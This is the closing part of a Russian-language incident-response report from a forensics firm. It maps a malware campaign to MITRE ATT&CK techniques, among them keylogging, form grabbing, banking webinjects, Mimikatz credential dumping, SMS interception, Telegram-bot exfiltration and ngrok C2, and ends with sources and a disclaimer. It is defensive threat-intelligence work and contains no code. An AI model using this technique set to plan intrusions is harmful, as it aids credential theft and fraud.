Keylogging |
keylogger + screen recording |
|
T1056.002 |
GUI Input Capture |
formgrabber |
|
T1185 |
Browser Session Hijacking |
webinjects (Bank of America и др.) |
|
T1003 |
Credential Dumping |
Mimikatz (reflective) |
|
T1111 |
Multi-Factor Auth Interception |
SMS Grabber |
|
T1567 |
Exfil Over Web Service |
Telegram Bot API (23 бота) |
|
T1572 |
Protocol Tunneling |
ngrok C2 |
|
T1583.001 |
Acquire Infrastructure: Domains |
.shop домены, Namecheap |
|
S0508 |
ngrok |
Вторичный C2 + доставка .dotm |
Источники
-
VB2025 — Emmenhtal: Silent Enabler of Modern Malware Campaigns
-
Krebs on Security — ClickFix: How to Infect Your PC in Three Easy Steps
Данное исследование проведено в рамках авторизованного расследования инцидента ИБ. Все данные, идентифицирующие пострадавшую организацию, анонимизированы. Инфраструктура атакующих (домены, IP-адреса, Telegram-токены) опубликована намеренно для защиты сообщества.
IOC доступны в форматах STIX 2.1, CSV, YARA и Sigma для прямого импорта в SIEM/EDR.
IDEANIX LLC — Digital Forensics & Incident Response
Автор: inerc
